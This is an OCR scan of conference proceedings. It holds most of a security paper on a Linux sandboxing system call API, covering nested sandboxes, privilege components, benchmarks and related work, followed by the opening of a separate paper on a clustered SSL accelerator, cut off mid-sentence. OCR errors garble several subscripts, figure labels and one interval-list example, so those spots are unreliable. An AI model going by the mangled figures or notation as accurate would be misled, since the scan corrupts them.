a static mechanism 1s best because it excludes the pos- 
sibility of unauthorized tampering. However, a dynamic 
mechanism may be preferable if the policy changes fre- 
quently. Our mechanism provides both options. Sand- 
boxes and components are dynamic by default, but drop- 
ping write privileges causes them to become static. 


When adjustments to security mechanisms are made, 
they should ideally have an immediate effect on all rele- 
vant aspects of system behavior. Our implementation of 
nested sandboxes was designed with this consideration 
in mind. Since privilege checks are done individually 
at each level, reconfiguration of a sandbox immediately 
effects all of its descendants. 


File descriptors represent a similar area of concern. For 
instance, suppose that a process opens some file and 
its sandbox is then adjusted so that access to the file 
is denied. Under our current implementation, the pro- 
cess may continue to access the file through its previ- 
ously opened file descriptor. Adding the ability to re- 
voke privileges stored in file descriptors would be rel- 
atively easy. This may be done by attaching sandbox- 
related tags to file descriptors and performing additional 
privilege checks during read() andwrite() system 
calls. Although this option has little value for guarding 
confidentiality, it may still be useful as a damage control 
mechanism for protecting data integrity. We may there- 
fore eventually implement this feature. 


2.8 Generic vs. Specific 


When specifying privileges for sandboxed programs, 
two alternative strategies are possible. One option 1s 
to grant privileges that are custom-tailored to individual 
programs. This approach is advantageous because it fol- 
lows the principle of least privilege. Since each program 


is only allowed to perform actions that are necessary 
for proper functioning, the potential for abuse of priv- 
ileges decreases. However, creating specialized policies 
for many applications 1s labor-intensive. It 1s also error- 
prone, since required privileges may be hard to predict in 
advance. Applications may therefore fail unexpectedly 
if their sandboxes constrain them too tightly. 


To address these problems, one may create generic 
protection domains for groups of programs with sim- 
ilar behavior. A sandboxing mechanism known as 
MAPbox[11] employs this technique. Although this ap- 
proach may simplify sandbox construction, appropriate 
behavior classes may be difficult to create. If privileges 
are defined too conservatively, then the scope of applica- 
bility of each behavior class becomes unacceptably nar- 
row. However, loosely specified behavior classes stray 
from the principle of least privilege. Some application- 
specific differences among programs within a behavior 
class may be handled by a technique that MAPbox refers 
to as parameterization. For instance, a group of network- 
oriented services may function 1n a similar manner but 
differ in the ports from which they receive incoming con- 
nections. In this case, their behavior class may take a 
port number as a parameter. 


Using our facility, behavior classes could potentially be 
represented as groups of components. Set operations 
could then be employed to create customized versions 
for individual programs in a manner somewhat similar 
to parameterization. 


Alternately, our blocking mechanism may be used to 
create custom-tailored sandboxes for individual applica- 
tions. For example, consider the following sequence of 
events: 


!. A user executes a program inside a sandbox. The 
user has no way of knowing ahead of time what 
privileges it will require. Therefore the sandbox is 
made initially very restrictive. 


2. When the program attempts to perform a denied ac- 
tion, 1t blocks and the user learns exactly what hap- 
pened. The user can then decide to allow or deny 
the action. To allow all future operations of this 
type, the user may adjust the appropriate compo- 
nent. 


3. When the sandboxed program terminates, the user 
may save the final sandbox configuration to be 
reused when executing the program in the future. 


This technique makes sandbox construction less labor- 
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intensive, since privileges may be granted interactively. 
Attempted actions that might otherwise cause a sand- 
boxed program to fail may therefore be allowed at the 
time they are attempted. This eliminates the need to ex- 
ecute the program multiple times, making incremental 
changes to its sandbox after each execution. Further- 
more, programs may be constrained very tightly with- 
out adverse consequences. Additional privileges may be 
granted at runtime as they are needed. 


2.9 Transient vs. Persistent 


Sandboxes may be implemented as lightweight, dispos- 
able containers or as persistent entities that maintain 
relatively static, long-term associations with files that 
they contain. Our current design only provides transient 
sandboxes. We chose this option because they require 
substantially less implementation effort than persistent 
sandboxes. However, if time permits, we may eventu- 
ally extend our facility to provide both options. 


WindowBox[13], a sandboxing system implemented 
within the Windows NT kernel, is a design in which 
sandboxes are persistent entities. It consists of a set of 
desktops that are completely separate from each other 
and from the rest of the system. Users may give some 
desktops more privileges than others. They may also 
place individual programs and other files within a given 
desktop. The association between a file and its desk- 
top persists until the user either deletes the file or moves 
it to a different desktop. This feature is useful because 
a given program is automatically confined to its desk- 
top whenever the user executes it. Therefore, the se- 
curity policy associated with the desktop is consistently 
enforced. Associations between files and their desktops 
also provide an alternate means of defining privileges. 
Specifically, access may be granted because a file resides 
in the same desktop as the program attempting to open 
it. 


A potential advantage of defining sandboxes as transient 
entities is that they may be efficiently discarded when no 
longer needed. Our design provides a feature that elim- 
inates unnecessary overhead for creating and destroying 
sandboxes. With this option, a server may create pools 
of sandboxes for different types of client connections. 
The server does the following for eachclient connection: 


1. The server forks a child process. The child inher- 
its the parent’s descriptors for the various sandbox 
pools that the server created. 
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2. The child makes an sbxapply() system call, 
passing in a descriptor for the appropriate pool. If 
the pool is not empty, this causes a sandbox to be 
removed from the pool. Otherwise, a new sandbox 
is created and associated with the pool. The newly 
obtained sandbox is applied to the child, which then 
handles the client request. 


3. When the child dies, the reference count on its 
sandbox drops to zero. Instead of being destroyed, 
the sandbox is returned to the pool for later reuse. 


Creation of a sandbox pool requires specification of a 
maximum capacity. If the pool becomes full, additional 
sandboxes will be destroyed instead of being returned to 
it. A pool’s creator may adjust its capacity value, find 
out how many sandboxes the pool contains at a given 
instant, or make adjustments to the current number of 
sandboxes in the pool. 


2.10 Interaction with Other Security Mecha- 
nisms 


Our facility is designed to be implemented within exist- 
ing systems. It must therefore peacefully coexist with 
other security mechanisms. This consideration may be 
viewed from the following two perspectives: 


]. Can other mechanisms override the denial of a priv- 
ilege by a sandbox? 


2. If a sandbox grants a given privilege, can other 
mechanisms override this decision? 


The answer to the first question is ”no.” In particu- 
lar, root has no special privileges that allow sandbox- 
imposed constraints to be bypassed. This property en- 
hances the security of our mechanism. It also permits 
construction of sandboxes that confine root programs to 
a subset of the privileges that they normally have. The 
answer to the second question is ’yes.” This property al- 
lows sandboxes to coexist with other mechanisms with- 
out compromising their effectiveness. 


3 Specification of Privileges 


We now present the details of how privileges are repre- 
sented in our design. Although the various component 
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Before: 
& e ee 
3 7 10 15 
include (8, 12) 
After: 
. 8 
3 15 


Figure 3: Include operation 


types have individual differences, several common ele- 
ments are shared among them. One shared feature 1s 
support for the set operations of intersection, union, and 
complement. Additionally, the components employ the 
following two common mechanisms: 


e Interval lists allow specification of intervals of val- 
ues over a fixed range. For instance, we could use 
an interval list to represent all integers between 10 
and 100, the value 250, and all integers between 
400 and 500. The components use this data struc- 
ture in several places. 


e Sandbox sets specify privileges that allow sand- 
boxed processes to perform actions relative to other 
processes. The ability to send signals is an example 
of this type of privilege. 


These two shared building blocks simplify the imple- 
mentation of the components that use them. They 
also facilitate the construction of new component types. 
Next, we give a more detailed presentation of their de- 
sign. This is followed by descriptions of how the indi- 
vidual component types are constructed. 


3.1 Interval Lists 


Interval lists provide a convenient way of specifying and 
manipulating sets of unsigned integers. They support the 
following operations: 


e Include: Figure 3 illustrates the include operation. 
In this example, an interval list initially specifies 
the intervals {(3, 7), (10, 15) }. The interval (8, 12) 
is then included. This produces the interval list 








Before: 


ooo s-4 
5 7 9 11 15 
exclude (6, 12) 

After: 
e oe 
5 13> 5 


Figure 4: Exclude operation 


{(3, 15)}. Notice that this result is obtained rather 
than {(3; (8: Voor 413. 4)..(8, 12). 0 toy 
Interval lists always merge intervals together so that 
no two intervals are overlapping or immediately ad- 
jacent to each other. This yields the simplest possi- 
ble representation. 


Exclude: Figure 4 illustrates the exclude opera- 
tion. In this example, we start with the interval 
list {(5, 7), (9,9),(11,15)}. The interval (6, 12) 
is then excluded. This produces the interval list 


e Intersection: This operation takes two interval lists 
as operands and produces a new interval list repre- 
senting the intersection of the sets of integers they 
specify. The intervals contained in the result are all 
nonoverlapping and separated by at least one inte- 
ger value. 


Union: This operation is similar to intersection, ex- 
cept that the union is computed. 


Complement: This operation takes an imnter- 
val list and produces its complement. For 
instance, the complement of {(5,10)} is 
{(0, 4), (11,UINT_MAX)}. 


e Query point: This operation takes an integer as a 
parameter and returns a Boolean value indicating 
whether any interval in the list contains It. 


We will also provide a mechanism for iterating through 
an interval list and examining its contents, although this 
has not yet been implemented. 
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Figure 5: Behavior of sandbox sets 


3.2 Sandbox Sets 


Some privileges govern what a process may do relative 
to other processes. For example, we may wish to allow a 
sandboxed process to send signals to some processes but 
not others. One way of accomplishing this 1s to specify 
privileges individually for every existing process. How- 
ever, this 1s clearly not practical. Therefore processes 
must be grouped together in some manner. Our design 
employs sandboxes as the basic unit of organization for 
assigning privileges relative to processes. For example, 
signal components specify sets of sandboxes containing 
processes that may be signaled. We chose sandboxes as 
the unit of grouping because this 1s the simplest option. 
Introducing some other abstraction would create addi- 
tional complexity without any clear benefits. 


Figure 5 illustrates how sandbox sets operate. Signal 
components C';, C2, and C’3 are attached to sandboxes 
S 1, So, and Ss respectively. C’; allows S; to signal pro- 
cesses in Sg, C’g allows S» to signal processes in S3 and 
Sg, and C’s allows Ss to signal processes in Sg and S7. 
Process p created and initialized 5S), S9, and C,. The 
following rules govern the behavior of components 1m- 
plemented using sandbox sets: 


e A process in a given sandbox is always allowed to 
access other processes in its own sandbox or any 
descendant sandboxes. For example, a process in 
S_ may signal any process in S2, S5, Sg, or S7 re- 
gardless of how C2 1s configured. 


e If a component grants access to a given sandbox, 
then access is also granted to all of the sandbox’s 
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descendants. For instance, processes in 5S; can sig- 
nal processes in Sj9 since C grants access to So 
and So is a descendant of Sg. The motivation for 
this behavior may be understood by considering the 
viewpoint of process p. Clearly, p is aware of the 
existence of Sg. However, p can not in general be 
expected to keep track of actions, such as creating 
child sandboxes, that may be performed by pro- 
cesses in Sg. All p cares about is that processes in 
S, are granted access to all processes that Sg gov- 
erns. Thus this rule allows processes to manipulate 
components without needing to be aware of details 
that are outside their scope of concern. 


A process in a given sandbox may delegate to child 
sandboxes any accessrights to other sandboxes that 
it possesses. For example, 5; has adjusted Cg so 
that its privilege for signaling processes in Sg is 
passed down to So. Similarly, Sp may adjust C’3 
so that processes in Ss can signal processes in Sg. 
However, S52 may not adjust C3 so that processes in 
Ss are granted access to S;, S29, or S4. This is be- 
cause S»_ does not have access to S;, So, or S4. In 
general, any sandboxes in shaded area X could po- 
tentially appear in C',. However, C; can not specify 
S19 directly because So is outside C;’s scope of 
concern. Likewise, any sandboxes in shaded areas 
X or Y but not Z could potentially appear in C2. 


All processes that are not in any sandbox are 
grouped together as if they are all inside a common 
sandbox that imposes no restrictions. This can be 
thought of as the null sandbox”, and may be spec- 
ified in a sandbox set just like any other sandbox. 


e Itis possible to compute the complement of a sand- 
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box set. For instance, the complement of the set 
given by C’3 would be a set that grants access to 
all sandboxes (including the null sandbox) except 
Sg and S7. Likewise, intersections and unions of 
sandbox sets may be computed. 


Sandbox sets are implemented internally using a global 
matrix. Columns represent sandboxes and rows repre- 
sent components that are implemented as sandbox sets. 
Adjusting a component C’ so that it grants access to a 
sandbox S is accomplished by adding an entry to the ma- 
trix at position (C’, S). When a component is destroyed, 
its corresponding row 1s removed from the matrix. Like- 
wise, destruction of a sandbox results in the removal of 
its associated column. This ensures that components do 
not refer to sandboxes that no longer exist. 


3.3. Signal, ptrace (),and IPC Components 


Signal components specify processes to which a sand- 
boxed process may send signals. Likewise, ptrace ( ) 
components specify which processes a sandboxed pro- 
cess may ptrace(). Both of these component types 
are implemented as sandbox sets. [PC components spec- 
ify which IPC objects® a sandboxed process may access. 
If a process executing in sandbox S' creates an IPC ob- 
ject X, then S is viewed as owning X. Suppose that 
S has a parent sandbox 7’, and S is subsequently de- 
stroyed while X still exists. In this case, ownership of 
X is transferred to T'. If S has no parent, then own- 
ership of X is transferred to the null sandbox when S 
is destroyed. Given this notion of ownership, sandbox 
sets may be used to implement IPC components. For in- 
stance, suppose that the components shown in Figure 5 
are IPC components. Then C'; allows processes in 5S} to 
access IPC objects owned by Sg or Sjg, since So is a 
descendant of So. 


3,4 File System Component 


File system components specify file-related privileges. 
They are represented as trees of directory paths with la- 
bels that specify privileges at each node. The following 
types of privileges are defined: 


e r: For anormal file, this privilege allows the file to 
be opened for reading. For a directory, it allows the 
directory contents to be listed. 


®semaphores, message queues, and shared memory segments 














A /\\ 71S 


Figure 6: Directory subtree 


e w. For anormal file, this privilege allows the file to 
be opened for writing. For a directory, it allows files 
in the directory to be created, unlinked, or renamed. 


e x: Foranormal file, this privilege allows the file to 
be executed. For a directory, this privilege has no 
meaning. 


e p: For both normal files and directories, this 
privilege allows permission-related settings to be 
changed. Specifically, it allows use of chmod(), 
chown (),and chgrp(). 


e ¢: For both normal files and directories, this privi- 
lege allows changing access and modification times 
using utime(). 


e s: For a directory, this privilege allows opening 
files in the directory, accessing subdirectories, and 
moving into the directory using chdir(). Fora 
normal file, this privilege has no meaning. 


For each of these privileges, a set of three labels is at- 
tached to each node. Figure 6 illustrates the meanings 
of the labels. Set S consists of the entire subtree rooted 
at directory n;. Set J consists of n; and all of its chil- 
dren. Set U consists only of n;. Given these definitions, 
the three labels attached to n, for a given privilege are 
defined as follows: 


e self: This label represents set U (consisting of only 
nm). 
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e children: This label represents the set of nodes de- 
fined by T’ — U (ng and nz in the figure). 


e grandchild subtrees: This label represents the set 
of nodes defined by S — T' (nq, m5, ng, and all of 
their descendants). 


Each label may be assigned one of three values: allow, 
deny, or unspecified. Labels are ordered according to 
two simple precedence rules. Labels with higher prece- 
dence override the settings of labels with lower prece- 
dence. The rules are as follows: 


e A label at a node has higher precedence than labels 
at any of its ancestors. 


e There is no ordering among the three labels at a 
node. This is because the labels represent disjoint 
sets of nodes. 


A label of unspecified on a node imposes no particular 
setting on it or its descendants. Settings are instead de- 
termined by labels of higher precedence. A file system 
component consisting of an empty tree denies all file- 
related privileges. 


Figure 7 illustrates a file system component. It shows 
labels only for the w privilege. Labels for the other five 
privileges have been omitted for simplicity. Given the 
above rules, this file system component Is interpreted as 
follows: 


e Write access to the root directory is allowed, since 
its self label has a value of allow. 


e Write access is denied for all files in the root direc- 
tory except /a. Since the children label of the root 
directory is unspecified, it takes on the default value 
of deny that denies all file-related privileges for an 
empty tree. 


e Write access is also denied to /a. Since its self 
label and the root directory’s children label are both 
unspecified, it takes on the default value of deny 
that denies all file-related privileges for an empty 
tree. 


e For all files in /a except /a/b, write access 1s de- 
nied. This is due to the setting of the children label 
for /a. 


e Write access is allowed for the file /a/b, since its 
self label has a value of allow. 


11th USENIX Security Symposium 








/ = allow 


u | grandchild subtrees 


Figure 7: File system component 


x = deny 
u = unspecified 





e Write access is allowed for all descendants of 
/a/hb. This is because the grandchild subtrees \a- 
bel of the root directory is not overridden by any la- 
bels with higher precedence that affect descendants 
of /a/b. 


Before file-related privilege checks are performed, 
names of files are converted to absolute pathnames that 
contain no symbolic links. Therefore symbolic links do 
not affect the behavior of file system components. How- 
ever, the file system component must do extra privilege 
checking when a sandboxed process attempts to create 
a hard link. Before allowing this type of operation to 
proceed, the file system component computes the file- 
related privileges that the link would have if it existed. 
If these privileges exceed the privileges of the pathname 
being linked to, then the operation is denied. This pre- 
vents a sandboxed process from gaining unauthorized 
access to files simply by creating links to them in direc- 
tories with more permissive settings. It can be shown 
that the set of all possible file system components is 
closed under the operations of union, intersection, and 
complement. However, we omit the proof for the sake 
of brevity. 


3.5 Network Component 


A network component consists of two interval lists that 
specify IP addresses that sandboxed processes may open 
connections to and ports that sandboxed processes may 
receive incoming connections from. 


—————S— 
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| total latency (jzsec.) 


overhead (psec.) 


overhead (% of total) 


Table 1: Performance impact of sandboxing mechanism 





3.6 Device Component 


A device component consists of three interval lists that 
specify read(), write(), and ioctl () privileges 
for various device numbers. 


3.7 System Management Component 


In its current implementation, the system management 
component Is simply a set of Boolean flags that govern 
administrative actions such as rebooting and setting sys- 
tem date/time. The set of operations currently governed 
by this component type is not comprehensive, and will 
eventually be extended. 


4 Performance 


In order to be practical, a security mechanism must not 
require an unreasonable amount of performance over- 
head. To demonstrate the feasibility of our design, we 
have therefore performed several microbenchmarks. 


Our implementation involves modifying fork (), ex- 
ecve(), exit(), and wait(). We have therefore 
measured the amount of overhead that our mechanism 
adds to each of these system calls. All experiments were 
performed on a uniprocessor 266 MHz Pentium II PC 
with 96 Mb of memory. The Linux kernel we used is an 
SMP build of version 2.4.1. Each value in Table | rep- 
resents the mean value from 10000 separate system call 
invocations. As shown, our modifications typically add 
several microseconds to each call. 


During a fork(), sandbox-related state information 
must be copied from the parent process to the child. 
On execve (), a check is performed to see if a sand- 
box must be applied due to a previous invocation of 
sbxapply() with the "apply on exec” option speci- 
fied. The values in Table | reflect the typical case in 
which no sandbox is applied. We measured separately 


exit() [wait 


the latency of an sbxapply() system call (without 
"apply on exec” specified) and found that value to be 
56 microseconds. 


During an exit () system call, our implementation 
closes any open descriptors for sandboxes and compo- 
nents. It then releases the reference to any sandbox 
the process may be executing within and does a partial 
cleanup of the sandbox if the reference count drops to 
0. Additional cleanup of sandbox-related state is per- 
formed during wait () when the zombie process ts col- 
lected. At this time, the expired sandbox is queued so 
that a kernel thread may perform the final cleanup. The 
values for exit () and wait () in Table | represent 
the case in which this cleanup activity occurs for a sin- 
gle expired sandbox. The purpose of the kernel thread 
is to remove the sandbox from the global matrix de- 
scribed in Section 3.2 and free the memory that it oc- 
cupies. The thread 1s awakened periodically when the 
number of expired objects on its queue reaches a certain 
threshold. It then deletes all of them in a single oper- 
ation. We measured the time required to delete 1024 
expired sandboxes, and found that this operation takes 
2829 microseconds (2.8 jzsec. per sandbox). This repre- 
sents the mean for 10 separate invocations of the kernel 
thread. Adding the per-sandbox value to the overhead 
values in Table | for exit () and wait () provides a 
rough idea of the total overhead required for destroying 
a sandbox. 


Additionally, we measured the latency of the kill () 
system call when executed by a sandboxed process. The 
results are shown in Figure 8. For this experiment, we 
configured the sandbox of the sending process p so that 
its sandbox allows sending signals to the receiving pro- 
cess g, which has been placed within a separate sandbox. 
The values represent latencies when p is placed in sand- 
boxes nested at various depths. For instance, the value 
3 on the horizontal] axis represents the case in which 
the sandbox enclosing p has a parent and a grandpar- 
ent. Therefore, privilege checks occur at three separate 
levels. The value 0 on the horizontal axis indicates the 
case in which p 1s not inside a sandbox and therefore 
no privilege checks occur. As the graph shows, a single 
privilege check incurs approximately 5 microseconds of 
overhead. When sandboxes are nested, additional privi- 
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Figure 8: Latency of kil1() executed by sandboxed process 


lege checks incur approximately 1 microsecond each. 


5 Related Work 


Access control lists (ACLs) are a commonly used mech- 
anism for enhancing system security. They associate 
detailed access rights with objects such as files. The 
main difference between sandboxes and ACLs is that 
they take opposite points of view. ACLs associate priv- 
ileges with objects while sandboxes associate privileges 
with subjects. The centralized location of the controls on 
sandboxes makes the correctness of their settings easy to 
verify. Sandboxes impose strict upper bounds on privi- 
leges without depending on assumptions such as settings 
of file permissions throughout the system. They permit 
easy creation of customized protection domains without 
having to change settings on a wide variety of system ob- 
jects. However, our sandboxing mechanism is designed 
to complement alternatives such as ACLs rather than re- 
placing them. Sandboxes may be used in combination 
with other mechanisms to implement policies not easily 
enforceable using any single mechanism by itself. 
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Capabilities[1] are another alternative to sandboxes. A 
capability has two primary characteristics: 


e A subject that holds a capability is granted access 
to the privilege it specifies. 


e A subject that lacks a capability is denied access to 
the privilege it specifies. 


A sandbox exhibits the second property but not the first 
one. This aspect of sandboxes allows their controls to be 
safely manipulated by untrusted users. The centralized 
location of the controls on a sandbox makes sandbox- 
granted privileges easy to track and revoke. In contrast, 
complete revocation of a capability C’ held by process 
P requires revocation from both P and all processes to 
which C’ has been delegated by P. The ability to create 
nested sandboxes provides a mechanism for delegation 
of privileges in a manner somewhat similar to delega- 
tion of capabilities. Opening files represents an inter- 
esting area of interaction between sandboxes and capa- 
bilities, since a file descriptor may be viewed as a ca- 
pability for accessing a file. In our current design, a 
sandbox cannot revoke a previously granted file access 
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privilege once the sandboxed process has obtained a file 
descriptor. However, this limitation may be removed 
by attaching sandbox-related tags to file descriptors and 
performing additional privilege checks during read () 
and write() system calls. Although this requires ex- 
tra overhead, the creator of a sandbox could be given the 
option of disabling the feature to increase performance. 


Domain and type enforcement (DTE)[2, 3] is a useful 
tool for implementing mandatory access controls. This 
technique groups subjects into domains and objects into 
types. Rules are provided that specify which domains 
are granted access to which types. In addition, the sys- 
tem may be configured so that execution of certain pro- 
grams causes transitions between domains. A major dif- 
ference between DTE and our sandboxing mechanism 
is that DTE is geared toward implementing systemwide 
mandatory access controls. A trusted security adminis- 
trator defines the domains and types, along with the rules 
governing their interactions. In contrast, sandboxes are 
lightweight entities that may be created, configured, and 
destroyed by untrusted users. Our implementation al- 
lows them to enforce either mandatory or discretionary 
access controls. We plan on extending their functionality 
by allowing transitions between sandboxes when certain 
programs are executed. 


A variety of sandboxing techniques have been previ- 
ously implemented. One approach is to build protec- 
tion mechanisms into programming languages such as 
Java[7]. Since this option ties the sandbox to a particu- 
lar language or runtime environment, it 1s not suitable as 
a general-purpose mechanism. However, it is still useful 
as a special-purpose technique, since security policies 
may be tailored to the language or runtime environment. 


Alternately, the sandbox may be embedded within the 
sandboxed program. Proof-carrying code[8] is one ex- 
ample of this type of approach. Another option is to 
instrument an existing binary with additional machine 
instructions that verify compliance with a security pol- 
Icy aS a program executes[9]. However, these alterna- 
tives are inconvenient because they require modification 
of binaries. Furthermore, they are not useful as general- 
purpose techniques since they do not apply to all types 
of programs (such as shell scripts, for instance). 


A sandboxing system known as Janus[{10], along with 
two similar mechanisms[11, 12], employs user-space 
monitoring processes for interception of system calls 
made by sandboxed programs. The monitoring pro- 
cesses use the /proc process tracing facility of Solaris 
for system call interception. This approach limits the 
scope of applicability of these techniques, since it may 


not be used with setuid programs. It also has substan- 
tial overhead because the monitoring agent is a separate 
process and interprocess context switches are therefore 
required for monitoring. Furthermore, the monitoring 
process must fork() each time the sandboxed process 
forks. The fact that the monitoring agent runs in user 
space may also create vulnerabilities. 


To overcome the limitations of user-space mechanisms, 
sandboxes may be implemented as loadable kernel 
modules[14, 15]. Placing sandboxes inside the kernel 
may enhance their security by providing increased iso- 
lation from potentially malicious entities. Since kernel- 
based sandboxes may be implemented as passive enti- 
ties, context switching overhead is not required for priv- 
ilege checking. A disadvantage of this approach 1s that 
creating a new sandbox requires loading a kernel mod- 
ule. The module must be fully trusted, and a trusted user 
must perform the module loading operation. 


A design known as ChakraVyuha (CV)[1I 6] implements 
a kernel-based sandboxing mechanism. In this system, 
sandboxes for individual applications are defined using 
a domain-specific language. Sandbox definitions are 
stored in a secure location somewhere in the file system. 
When a given program is executed, its sandbox defini- 
tion is passed to a kernel-resident enforcer. This entity 
enforces restrictions by matching system call parameters 
against the sandbox definition. Therefore, problems as- 
sociated with implementing sandboxes as loadable ker- 
nel modules are avoided. 


One difference between ChakraVyuha and our design 1s 
the level at which its external interfaces are specified. 
To confine a program with Chakra Vyuha, it must first be 
installed using a specialized installer program. The in- 
staller generates a configuration file that specifies a de- 
fault sandbox for the new program. If users wish to cre- 
ate customized sandboxes, they must do so using config- 
uration files that follow a specific format. Our external 
interface is ata much lower level. We export a general- 
purpose system call API that application programs may 
use for their own purposes. This approach widens the 
scope of applicability of our design. 


A second advantage of our model is the ability to 
dynamically reconfigure sandboxes at runtime. With 
ChakraVyuha, users may customize sandboxes, but the 
sandboxes are fixed once the sandboxed programs start 
executing. Other advantages of our model include nested 
sandboxes and our treatment of privilege sets as first 
class objects that may be manipulated using set-theoretic 
primitives. 
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Another solution, known as WindowBox[13], imple- 
ments a sandboxing mechanism within the Windows NT 
kernel. The emphasis here is on providing an easy to 
use mechanism that is simple enough for unsophisticated 
users. The design consists of a set of desktops that are 
completely separated from each other and from the rest 
of the system. Users can give some desktops more priv- 
ileges than others. As a user’s level of trust increases, 
a program may be gradually moved to more privileged 
desktops. However, the desktops are relatively static en- 
tities. They are not designed to function as lightweight 
containers for individual programs. 


Finally, a sandboxing mechanism somewhat similar 
to ours has been added to the ULTRIX operating 
system[17]. This mechanism, known as TRON, is simi- 
lar to our design in some ways but more limited in scope, 
since it only deals with file-related privileges. Like our 
sandboxing mechanism, TRON allows creation of sand- 
boxes by untrusted users. However, it does not provide 
a blocking mechanism for interactive privilege determi- 
nation at runtime. 


TRON does allow nesting of sandboxes, although this 
feature behaves differently from our design. When sand- 
boxes are nested, our mechanism performs privilege 
checks at each level individually. However, TRON ver 
ifies at creation time that a nested sandbox contains a 
subset of its parent’s privileges. It then checks privileges 
against only the innermost sandbox. Although TRON’s 
approach reduces performance overhead, we chose our 
method for two reasons. First of all, our design allows 
changes in a sandbox configuration to affect all sand- 
boxes nested below it. This behavior is necessary for 
interactive manipulation of sandboxes to function prop- 
erly when sandboxes are nested. Secondly, our design 
allows a sandboxed process to create a nested sandbox 
without any awareness of how its own sandbox is config- 
ured. The child sandbox is not cluttered with restrictions 
imposed by its parent and therefore maintains a precise 
representation of the policies its creator wishes to en- 
force. Furthermore, restrictions imposed by the parent 
sandbox may be kept secret from its inhabitants. 


The method that TRON employs for specifying access 
controls is less expressive than our file system compo- 
nent. When privileges are assigned to a directory, they 
automatically extend to all files it contains. It is not 
possible to grant privileges only for the directory with- 
out extending them to all of its files. However, a sub- 
tree option does exist that 1s equivalent to the union of 
self, children, and grandchild subtrees in our file sys- 
tem component. One feature that TRON omits is the 
ability to specifically deny access to files. It is therefore 
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not powerful enough to support composition of privilege 
sets through union, intersection, and complement opera- 
tions. 


6 Conclusions 


In summary, we have presented a general-purpose sys- 
tem call API for confinement of untrusted programs. We 
have described our design within the context of a sys- 
tematic exploration of the design space for confinement 
mechanisms. Our approach is distinguished by its flex- 
ibility and provision of a relatively simple set of primi- 
tives that permit a wide scope of applicability. Prelimi- 
nary performance results are encouraging, although we 
still need to perform more extensive testing. 


Availability 


At the time of this writing, we are still finish- 
ing the implementation of the sandboxing API. The 
latest version of the code may be obtained from 
http://seclab. cs.ucdavis.edwprojects/sandbox.html. As 
our work progresses, we will make updates available at 
this location. 
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Abstract 


We describe a clustered SSL accelerator. Although cur- 
rent SSL acceleration solutions [1, 2] often employ mul- 
tiple nodes in parallel (or in series [3]) for improved 
performance and resistance to single failures, the fail- 
ure of any node results in all client connections to that 
node being torn down. Our implementation goes 
beyond this to provide robustness against node failures 
at the connection level--.any proper subset of the nodes 
in the cluster can fail and no effect (other than possibly 
performance degradation) will be observed. This result 
is accomplished by a novel combination of tight control 
of TCP [4] behavior and state-sharing between cluster 
menibers. Unlike many high availability clustering sys- 
tems, ours uses commodity hardware. 


1 Introduction 


Secure Sockets Layer (SSL) [5, 6] and its successor 
Transport Layer Security (TLS) [7] are the dominant 
approaches to web security. Both protocols provide a 
secure channel over which ordinary web (HTTP) [8] 
traffic can be transmitted. HTTP over SSL (HTTPS) [9] 
is widely used to protect confidential information in 
transit between the client and server. 

However, SSL ts dramatically more CPU intensive 
than ordinary TCP communication [10, 11, 12, 13] and 
the addition of SSL to unsecure web servers can create 
unacceptable performance consequences on the web 
server. The dominant performance cost is the RSA 
Operation in the SSL handshake. One common 
approach to reducing this cost is to offload the RSA 
operations to a cryptographic coprocessor which ts 
installed on the server machine. 

Another approach has been to create standalone 
cryptographic accelerators. These accelerators are net- 
work devices that sit between the client and server. 
They accept HTTPS connections, decrypt them, and 
make HTTP connections to the backend web server. 
One key advantage of standalone accelerators is that 
scaling can be relatively simple: more than one box can 
be purchased, allowing the traffic to be load-balanced 
across the accelerators. 

In conventional configurations, having multiple 
standalone accelerators provides improved performance 
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and a form of high availability. If a given accelerator 
fails, other accelerators may be available to handle the 
load. However, these configurations only offer high 
availability in a bulk sense: every connection that 1s ter- 
minated on a node that fails 1s lost. 

This paper describes the design and implementa- 
tion of a clustered SSL accelerator which we have 
named SSLACC. The state of each SSL connection 1s 
shared across the entire cluster. When any node fails, 
the remaining nodes are able to take over all connec- 
tions that terminated on that node with no interruption 
in service. We refer to this feature as active session 


failover. 


2 SSL Accelerators 


Essentially, an SSL accelerator 1s a proxy. It accepts 
SSL connections on the chosen port(s) and then for- 
wards the decrypted traffic to the corresponding port(s) 
on the web server. The protocol being carried on top of 
SSL ts generally HTTP, but could actually be any- 
thing—in practice, most accelerators do not examine 
the plaintext before forwarding tt. 

Conventionally the accelerator is placed in an 
inline configuration between the web client and web 
server. Connections are accepted on the red/exterior 
interface and the corresponding cleartext connections 
are made on the black/interior interface, as shown in 
Figure 1. Typically the accelerator behaves like a 
bridge, except for the connections that it is supposed to 
decrypt. It can also be configured as a router in which 
case the topology of the server’s network will need to 
be modified to place the accelerator in the client-server 
route. In either case the accelerator impersonates the 
client to the server and the server to the client, so the 
client believes it’s directly connected to the server and 
vice-versa. It is also possible to configure an accelerator 
in a "one-armed" configuration in which both client and 
server talk to the same interface on the device. 


2.1 Multiple Accelerators 


In large installations, it is common practice to use mul- 
tiple accelerators in parallel or series. This provides two 
primary benefits. First, it allows the administrator to 
add acceleration capacity as needed without replacing 


229 


USENIX Association 11th USENIX Security Symposium 


230 


i 
1 
= 








HTTP/SSL HTTP 


to Internet Accelerator Server 


| 


— 
red/exterior black/interior 
network network 
Figure 1 An inlive accelerator 


infrastructure components. Since HTTPS service 1s 
eminently scalable, one can simply add another box to 
the array and allow it to handle its share of the connec- 
tions. The second benefit is reliability. Such arrays can 
be configured so that failures of a single unit are auto- 
matically detected and new connections are automati- 
cally allocated to the remaining nodes. However, when 
such unit failures occur, active connections are lost and 
the user sees an error. 

When an error occurs in an HTTP transaction the 
user can simply resubmit the request. Although this ts 
technically possible with HTTPS as well, the circum- 
stances surrounding HTTPS transactions make HTTPS 
failures a more serious human factors problem. The 
most common use of HTTPS ts for form submission of 
sensitive information, such as payment authorization. If 
an error occurs during such a transaction, the user 
doesn’t know whether the transaction went through 
before the failure occurred, and thus may be unwilling 
to re-submit the transaction for fear of being billed 
twice. SSLACC addresses this problem by providing 
active session failover. When a node fails, all its state 
and connections are automatically assumed by an oper- 
ational node. The transaction completes and the user is 
unaware that an error occurred at all. 


3. AlchemyOS 


Our implementation of SSL clustering was perfonned 
on top of AlchemyOS [14], a FreeBSD-based kernel 
specifically designed for clustering on commodity hard- 
ware. The original use of AlchemyOS was as a clus- 
tered VPN gateway. In AlchemyOS, unlike many clus- 
tering systems [15], each cluster member operates inde- 
pendently rather than being a clone slaved to another 
member, as in NCAPS [16]. Additionally, the only 
